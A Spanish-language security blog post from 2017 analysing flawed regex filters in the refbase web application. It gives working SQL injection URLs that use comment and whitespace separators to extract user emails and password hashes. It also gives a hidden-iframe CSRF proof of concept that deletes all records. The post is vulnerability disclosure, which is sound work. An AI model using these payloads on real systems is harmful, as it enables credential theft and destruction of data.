martes, 16 de mayo de 2017

SQL Injection y alguna cosa más. Sí, en refbase

Volvamos a la aplicación refbase. Esta que, por ahora, tiene vulnerabilidades de subida de archivos de cualquier extensiónejecución de comandos de sistema operativo y de ficheros de código SQL, ejecución de código PHP arbitrartio, aparte de una gestión de las versiones que, creo, supone un serio riesgo para quienes la instalan en sus sistemas. Aquí la tenemos
La página de inicio
En la página de inicio aparecen las últimas publicaciones introducidas en la base de datos. Junto a cada una de ellas hay dos botones: uno con forma de flecha, que lleva al sitio donde puede consultarse el documento, y otra, con forma de lupa, que permite acceder a la correspondiente ficha. Tomemos una publicación, hagamos clic en su "lupa"...
Atención a la URL

... y observemos la URL. Como no sale completa en la imagen, os la copio aquí:
http://localhost/refbase-code-1418-trunk/search.php?sqlQuery=SELECT%20author%2C%20title%2C%20type%2C%20year%2C%20publication%2C%20abbrev_journal%2C%20volume%2C%20issue%2C%20pages%2C%20keywords%2C%20abstract%2C%20address%2C%20corporate_author%2C%20thesis%2C%20publisher%2C%20place%2C%20editor%2C%20language%2C%20summary_language%2C%20orig_title%2C%20series_editor%2C%20series_title%2C%20abbrev_series_title%2C%20series_volume%2C%20series_issue%2C%20edition%2C%20issn%2C%20isbn%2C%20medium%2C%20area%2C%20expedition%2C%20conference%2C%20notes%2C%20approved%2C%20call_number%2C%20serial%20FROM%20refs%20WHERE%20serial%20%3D%207%20ORDER%20BY%20author%2C%20year%20DESC%2C%20publication&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=10&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=

O, decodificando los parámetros GET para que todo se vea más claro:
http://localhost/refbase-code-1418-trunk/search.php?sqlQuery=SELECT author, title, type, year, publication, abbrev_journal, volume, issue, pages, keywords, abstract, address, corporate_author, thesis, publisher, place, editor, language, summary_language, orig_title, series_editor, series_title, abbrev_series_title, series_volume, series_issue, edition, issn, isbn, medium, area, expedition, conference, notes, approved, call_number, serial FROM refs WHERE serial = 7 ORDER BY author, year DESC, publication&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=10&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=

Algo que quizá alguien recuerde de "El parque del oso": ¡Toda una sentencia SQL pasada como parámetro GET!

En su día contaba yo a los desarrolladores de refbase que esto era peligroso y que quizá debían plantearse un enfoque alternativo. No sólo por seguridad sino también porque la solución que habían elegido les complicaría en el futuro la migración de refbase a otros gestores de bases de datos distintos de MySQL. La respuesta fue que, por desgracia, no era realista plantear un cambio de ese calado, dados los recursos de que disponían para el desarrollo.

No digo más. Y con eso creo que tendrás suficiente para entenderme.

En todo caso, refbase no ejecuta el código introducido sin más. Las consultas proporcionadas a través del parámetro GET sqlQuery son alteradas de varias formas para garantizar el correcto funcionamiento del programa. Cosas como:
  • El usuario puede solicitar sólo aquellas columnas que le interesan y refbase se adapta a su petición, mostrando únicamente los datos requeridos. Si es necesario, refbase añade a la consulta las columnas que precise para sus operaciones internas, pero no las muestra.
  • Se garantiza la existencia de la claúsula ORDER BY
Y se incluyen algunos mecanismos de seguridad. Así en la versión obtenida del repositorio SVN se rechaza la consulta y, en lugar de responderle, se redirige al usuario a la página inicial cuando:
  • La consulta contiene etiquetas HTML (para evitar XSS)
  • El usuario no es administrador y la consulta no comienza con "SELECT". A esta comprobación le añaden también que no contengan "DROP DATABASE" o "DROP TABLE".
  • Al SELECT inicial le sigue cualquier cosa que no sea una lista de columnas antes de llegar al FROM. Las columnas que pueden incluirse en esta lista están indicadas expresamente en la variable "$all_fields". Una lista blanca: eso apunta buenas maneras. La expresión regular elegida para hacer esta comprobación viene dada por: 
"/^SELECT ((" . $all_fields . "),* *)+ FROM/i"
  • Si alguien intenta colar una segunda consulta. Para ello, se trata de detectar la presencia de una segunda claúsula FROM
"/FROM .*(" . join("|", $tablesArray) . ").+ FROM /i"
  •  Si la consulta contiene alguna operación no permitida. Las operaciones permitidas vienen dadas mediante una expresión regular

"/FROM $tableRefs( LEFT JOIN $tableUserData ON serial ?= ?record_id AND user_id ?= ?\d*)?(?= WHERE| ORDER BY| LIMIT| GROUP BY| HAVING| PROCEDURE| FOR UPDATE| LOCK IN|$)/i"

Todo lo cual, dadas las circunstancias, estaría bien (o, al menos, regular)... si las expresiones regulares fueran correctas.

Sin entrar en muchos detalles, hay un fallo grande. Muy grande. En todas las expresiones regulares anteriores se considera que las claúsulas SQL van separadas... por espacios. Pero SQL en general, y el dialecto de MySQL en particular, acepta un montón de caracteres y expresiones como separadores. Por ejemplo, un comentario "/**/". O un tabulador. O...

Así, que se puede hacer una petición como
http://localhost/refbase-code-1418-trunk/search.php?sqlQuery=SELECT publication, serial FROM refs WHERE serial = -1/**/union/**/select email,password,3,4,5,6,7,8,9,10/**/from/**/auth ORDER BY 1 DESC&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=10&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=
... y obtener los identificadores de usuario (sus cuentas de correo) y los hashes de sus contraseñas:
SQL Injection accomplished!
Por cierto, que el comportamiento de la aplicación ante la ejecución de consultas SQL incorrectas ayuda bastante a elaborar estos ataques. Muestra tanto la consulta que se intentó realizar como la respuesta del gestor de bases de datos:
Buena ayuda para un atacante


En lugar de comentarios podrían haberse usado otros separadores. Por ejemplo, tabuladores horizontales (codificados en la URL como %09), tabulación vertical (%0B), salto de página (%0C) o retorno de carro (%0D):
http://localhost/refbase-code-1418-trunk/search.php?formType=sqlSearch&submit=Display&headerMsg=&sqlQuery=SELECT publication, serial FROM refs WHERE serial = -1%09union%0Bselect email,password,3,4,5,6,7,8,9,10%0Cfrom%0Dauth ORDER BY 1 DESC, publication&showQuery=0&showLinks=1&showRows=10&rowOffset=0&marked[]=&citeStyle=APA&citeOrder=&orderBy=author, year DESC, publication

Una nota al margen para ir acabando. Los usuarios normales no pueden hacer otra cosa  que SELECT. Los administradores sí podrían lanzar otras instrucciones.

En lo que a los DROP respecta, el usuario que crea el instalador de la aplicación para conectar a la base de datos carece de los permisos necesarios, por lo que no tendrían impacto alguno. Salvo que, quizá por los fallos que tiene el instalador, alguien se huviera visto obligado a crear la cuenta a mano y se hubiera pasado con los permisos, claro.

En todo caso, los INSERT, UPDATE y DELETE sí que están permitidos a la cuenta de administración de refbase. De hecho ésta disponde de un formulario, "sql_search.php", que le permite ejecutar (o tratar de hacerlo) cualquier sentencia SQL. Este formulario termina llamando a "search.php" indicando el parámetro GET "formType=sqlSearch".

¿Y por qué es esto importante?

Porque "search.php", como tantas otras partes de la aplicación, no está debidamente protegido contra Cross Site Request Forgery. Ni, dicho sea de paso, contra ClickJacking. De modo que un atacante podría usar cualquier servidor web que tuviera bajo su control y alojar en él una página maliciosa con el siguiente código:
Hola
<iframe src="http://localhost/refbase-code-1418-trunk/search.php?formType=sqlSearch&submit=&citeStyle=&citeOrder=&sqlQuery=Delete+from+refs&showLinks=1&showRows=10&viewType=Web"
 style="display:none">
</iframe>
Si alguien que ha iniciado sesión con la cuenta de administración de refbase visita esta página... Adios al trabajo de recopilación de referencias documentales.


Nada por aquí, nada por allá







No hay comentarios:

Publicar un comentario